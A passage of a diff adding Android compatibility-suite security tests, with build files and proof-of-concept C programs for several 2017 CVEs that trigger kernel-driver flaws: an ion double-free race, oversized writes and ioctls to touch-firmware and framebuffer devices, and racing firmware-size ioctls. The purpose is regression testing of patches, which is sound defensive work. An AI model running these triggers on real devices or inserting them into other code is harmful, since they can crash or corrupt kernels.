+    char msg[] = "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL";
+
+    struct seemp_logk_blk block;
+
+    block.status = 0xff;
+    block.len = 0x4242;
+    block.version = 'C';
+    block.pid = 0x44444444;
+    block.uid = 0x45454545;
+    block.tid = 0x46464646;
+    block.sec = 0x47474747;
+    block.nsec = 0x48484848;
+    strcpy(block.ts, ts);
+    strcpy(block.appname, appname);
+    block.payload.api_id = 0x51515151;
+    strcpy(block.payload.msg, msg);
+}
+
+void do_mapping(void **ptr, int fd) {
+    *ptr = mmap(NULL,
+		FOUR_MB,
+		0x7,
+		MAP_SHARED,
+		fd,
+		0);
+    if (*ptr == MAP_FAILED) {
+	close(fd);
+	exit(-1);
+    }
+}
+
+void spam_mapped_region(char *ptr, int offset, int size) {
+    int i;
+    for (i = offset; i < size; i++)
+	*(ptr + i) = 'A';
+}
+
+void start_printk(int fd) {
+    ioctl(fd, SEEMP_CMD_DEBUG_START, NULL);
+}
+
+void stop_printk(int fd) {
+    ioctl(fd, SEEMP_CMD_DEBUG_STOP, NULL);
+}
+
+int main() {
+    int fd;
+    void *ptr;
+    int i;
+
+    fd = open(DEVICE, O_RDWR);
+    if (fd == -1) {
+	exit(-1);
+    }
+
+    start_printk(fd);
+
+    do_mapping(&ptr, fd);
+
+    for (i = 0; i < (FOUR_MB / 256); i++)
+	write_to_dev(fd);
+
+    dump_blk_headers(ptr);
+    print_maps(5);
+
+    write_to_file(ptr);
+
+    stop_printk(fd);
+
+    close(fd);
+    munmap(ptr, FOUR_MB);
+
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
new file mode 100644
index 0000000..91d154c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE    := CVE-2017-0564
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
new file mode 100644
index 0000000..6867562
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/local_poc.h
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
new file mode 100644
index 0000000..7734d4c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <stdio.h>
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <linux/ion.h>
+
+#define ION_HEAP(bit) (1 << (bit))
+
+enum ion_heap_ids {
+    INVALID_HEAP_ID = -1,
+    ION_CP_MM_HEAP_ID = 8,
+    ION_SECURE_HEAP_ID = 9,
+    ION_SECURE_DISPLAY_HEAP_ID = 10,
+    ION_CP_MFC_HEAP_ID = 12,
+    ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+    ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+    ION_SYSTEM_CONTIG_HEAP_ID = 21,
+    ION_ADSP_HEAP_ID = 22,
+    ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+    ION_SF_HEAP_ID = 24,
+    ION_SYSTEM_HEAP_ID = 25,
+    ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+    ION_QSECOM_HEAP_ID = 27,
+    ION_AUDIO_HEAP_ID = 28,
+    ION_MM_FIRMWARE_HEAP_ID = 29,
+    ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+static unsigned int ion_type[] = {
+    ION_HEAP(ION_CP_MM_HEAP_ID),
+    ION_HEAP(ION_CP_MFC_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
+    ION_HEAP(ION_ADSP_HEAP_ID ),
+    ION_HEAP(ION_SF_HEAP_ID),
+    ION_HEAP(ION_SYSTEM_HEAP_ID),
+    ION_HEAP(ION_QSECOM_HEAP_ID),
+    ION_HEAP(ION_AUDIO_HEAP_ID),
+};
+
+#define NEW_ION
+int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
+{
+    int ret;
+    struct ion_allocation_data req = {
+        .len = len,
+#ifdef NEW_ION
+        .heap_id_mask = ion_type,
+        //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
+        .flags = (1 << 0),
+        .flags = 0x0,
+#else
+        .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
+#endif
+        .align = len,
+    };
+
+    ret = ioctl(fd, ION_IOC_ALLOC, &req);
+    if (ret) {
+        return ret;
+    }
+
+    *hdl = req.handle;
+
+    return 0;
+}
+
+int ion_free(int fd, int hdl)
+{
+    int ret;
+    struct ion_handle_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_FREE, &req);
+    if (ret) {
+        return ret;
+    }
+
+    return 0;
+}
+
+int ion_map(int fd, int hdl)
+{
+    int ret;
+    struct ion_fd_data req = {
+        .handle = hdl,
+    };
+
+    ret = ioctl(fd, ION_IOC_MAP, &req);
+    if (ret) {
+        return ret;
+   }
+
+   return req.fd;
+}
+
+int ion_fd;
+int ion_handle;
+int status[2];
+int cmd = 0;
+
+void *threadForIonFree01()
+{
+    status[0] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if (cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[0] = 2;
+    return NULL;
+}
+
+
+void *threadForIonFree02()
+{
+    status[1] = 1;
+
+    while (cmd == 0) {
+        usleep(10);
+    }
+    if(cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ion_free(ion_fd, ion_handle);
+
+failed:
+    status[1] = 2;
+    return NULL;
+}
+
+int main()
+{
+    int ret, i, count;
+    pthread_t tid_free[2];
+
+    count = 0;
+retry:
+    status[0] = 0;
+    status[1] = 0;
+    cmd = 0;
+    ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
+    if (ion_fd < 0) {
+	return -1;
+    }
+
+    for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
+        ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
+        if (ret == 0) {
+            break;
+        }
+    }
+
+    if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
+    if (ret != 0) {
+        goto failed;
+    }
+
+    ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
+    if (ret != 0) {
+        cmd = -1;
+        goto failed;
+    }
+
+    while (status[0] != 1 || status[1] != 1) {
+        usleep(50);
+    }
+
+    cmd = 1;
+    ret = ion_map(ion_fd, ion_handle);
+
+    while (status[0] != 2 || status[1] != 2) {
+        usleep(50);
+    }
+
+failed:
+    ion_free(ion_fd,ion_handle);
+    close(ion_fd);
+    goto retry;
+
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
new file mode 100644
index 0000000..0ef89c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0577
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
new file mode 100644
index 0000000..42455be
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+int test_touch_fwu(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name, O_RDWR);
+
+    if (fd < 0)	{
+	return -1;
+    }
+
+    size_t buf_len = 0xfffff;
+    char* buf = (char*) malloc(buf_len);
+    if (buf == NULL ) {
+	return -1;
+    }
+
+    int ret = 0;
+    ret = write(fd, buf, buf_len);
+    free(buf);
+    return ret;
+}
+
+int main()
+{
+    test_touch_fwu();
+    return 0;
+}
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
new file mode 100644
index 0000000..494b8c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0579
+LOCAL_SRC_FILES := poc.c
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact 
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
new file mode 100644
index 0000000..5bf4329
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/ioctl.h>
+#include <linux/fb.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define MSMFB_IOCTL_MAGIC 'm'
+#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)
+
+int call_ioctl(int file_desc, unsigned long request, void* param)
+{
+    int ret_val;
+
+    ret_val = ioctl(file_desc,  request, param);
+
+    if (ret_val < 0) {
+	return ret_val;
+    }
+    return ret_val;
+}
+
+int test_mdss_msm_fb(int file_desc)
+{
+    int ret_val;
+    unsigned char* buf = malloc(0x100);
+    struct fb_cursor cursor;
+
+    memset(&cursor, 0, sizeof(struct fb_cursor ));
+
+    cursor.set = FB_CUR_SETIMAGE;
+    cursor.enable = 1;
+    cursor.rop = 0;
+    cursor.mask = 0;
+    cursor.hot.x = 0x100;
+    cursor.hot.y = 0x100;
+    cursor.image.dx = 1439;
+    cursor.image.dy = 2559;
+    cursor.image.width = 0x1000;
+    cursor.image.height = 0x1000;
+    cursor.image.fg_color = 0xff;
+    cursor.image.bg_color = 0xff00;
+    cursor.image.depth = 32;
+    cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );
+
+    ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
+    if(ret_val < 0) {
+	return ret_val;
+    }
+
+    free((void *)cursor.image.data);
+    free(buf);
+
+    return ret_val;
+}
+
+int main()
+{
+    int file_desc, ret_val;
+    const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";
+
+    file_desc = open(DEVICE_FILE_NAME, 0);
+    if (file_desc < 0) {
+	return -1;
+    }
+
+    test_mdss_msm_fb(file_desc);
+
+    close(file_desc);
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
new file mode 100644
index 0000000..6350b07
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0580
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
new file mode 100644
index 0000000..0cf518a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <asm/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+
+struct firmware {
+    size_t size;
+    const uint8_t *data;
+    void **pages;
+    void *priv;
+};
+
+#define TOUCH_FWU_IOCTL_CODE (0x81)
+#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
+#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
+#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
+#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
+#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
+
+void ioctl_modify_size_big(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_FILE_SIZE , 0xffff );
+	ioctl(fd, FW_LOAD_DONE , 0);
+    }
+}
+
+void ioctl_modify_size_small(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_FILE_SIZE , 0xf );
+	ioctl(fd, FW_LOAD_DONE , 0);
+    }
+}
+
+void ioctl_FW_UPDATE_PROCCESS(){
+    char* dev_name = "/dev/touch_fwu";
+    int fd = open(dev_name,O_RDWR);
+    if (fd < 0){
+	return ;
+    }
+
+    int cout = 1;
+    while(cout){
+	ioctl(fd, FW_UPDATE_PROCCESS , 0);
+    }
+}
+
+
+int main()
+{
+    pid_t pid = fork();
+    if (pid < 0) {
+	return -1;
+    }
+
+    if (0 == pid) {
+	ioctl_modify_size_big();
+    }
+    else {
+	pid_t pid1 = fork();
+	if (0 == pid1) {
+	    ioctl_modify_size_small();
+	}
+	else {
+	    ioctl_FW_UPDATE_PROCCESS();
+	}
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
new file mode 100644
index 0000000..9d1d3d17
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-7369
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SRC_FILES := poc.c
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
new file mode 100644
index 0000000..c18936c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
@@ -0,0 +1,236 @@
+/**

+ * Copyright (C) 2017 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+#define _GNU_SOURCE

+

+#include <string.h>

+#include <stdio.h>

+#include <stdlib.h>

+#include <sys/ioctl.h>

+#include <sys/ptrace.h>

+#include <errno.h>

+#include <sys/syscall.h>

+#include <sys/prctl.h>

+#include <stdint.h>

+#include <sys/stat.h>

+#include <sys/mman.h>

+#include <linux/fb.h>

+#include <dlfcn.h>

+#include <sys/socket.h>

+#include <fcntl.h>

+#include <signal.h>

+#include <unistd.h>

+#include <sound/asound.h>

+#include <sys/types.h>

+#include <sys/wait.h>

+

+#define MAXNUM 94

+#define MAXPCMOP 25

+#define MAXELE 16384

+

+char* CONTBL[MAXNUM]={

+    "comprC0D17",

+    "comprC0D18",

+    "comprC0D37",

+    "comprC0D38",

+    "comprC0D39",

+    "comprC0D40",

+    "comprC0D41",

+    "comprC0D42",

+    "comprC0D9",

+    "controlC0",

+    "hwC0D10",

+    "hwC0D1000",

+    "hwC0D11",

+    "hwC0D12",

+    "hwC0D13",

+    "hwC0D14",

+    "hwC0D15",

+    "hwC0D16",

+    "hwC0D2",

+    "hwC0D20",

+    "hwC0D21",

+    "hwC0D22",

+    "hwC0D24",

+    "hwC0D25",

+    "hwC0D26",

+    "hwC0D3",

+    "hwC0D30",

+    "hwC0D31",

+    "hwC0D35",

+    "hwC0D36",

+    "hwC0D37",

+    "hwC0D39",

+    "hwC0D40",

+    "hwC0D45",

+    "hwC0D7",

+    "hwC0D8",

+    "hwC0D9",

+    "pcmC0D0c",

+    "pcmC0D0p",

+    "pcmC0D10c",

+    "pcmC0D10p",

+    "pcmC0D11c",

+    "pcmC0D11p",

+    "pcmC0D12c",

+    "pcmC0D12p",

+    "pcmC0D13c",

+    "pcmC0D13p",

+    "pcmC0D14c",

+    "pcmC0D14p",

+    "pcmC0D15c",

+    "pcmC0D15p",

+    "pcmC0D16c",

+    "pcmC0D19c",

+    "pcmC0D19p",

+    "pcmC0D1c",

+    "pcmC0D1p",

+    "pcmC0D20c",

+    "pcmC0D20p",

+    "pcmC0D21p",

+    "pcmC0D22c",

+    "pcmC0D22p",

+    "pcmC0D23c",

+    "pcmC0D23p",

+    "pcmC0D24c",

+    "pcmC0D24p",

+    "pcmC0D25c",

+    "pcmC0D26p",

+    "pcmC0D27c",

+    "pcmC0D28c",

+    "pcmC0D29c",

+    "pcmC0D2c",

+    "pcmC0D2p",

+    "pcmC0D30c",

+    "pcmC0D31c",

+    "pcmC0D32c",

+    "pcmC0D33c",

+    "pcmC0D34c",

+    "pcmC0D35c",

+    "pcmC0D35p",

+    "pcmC0D36c",

+    "pcmC0D36p",

+    "pcmC0D3c",

+    "pcmC0D3p",

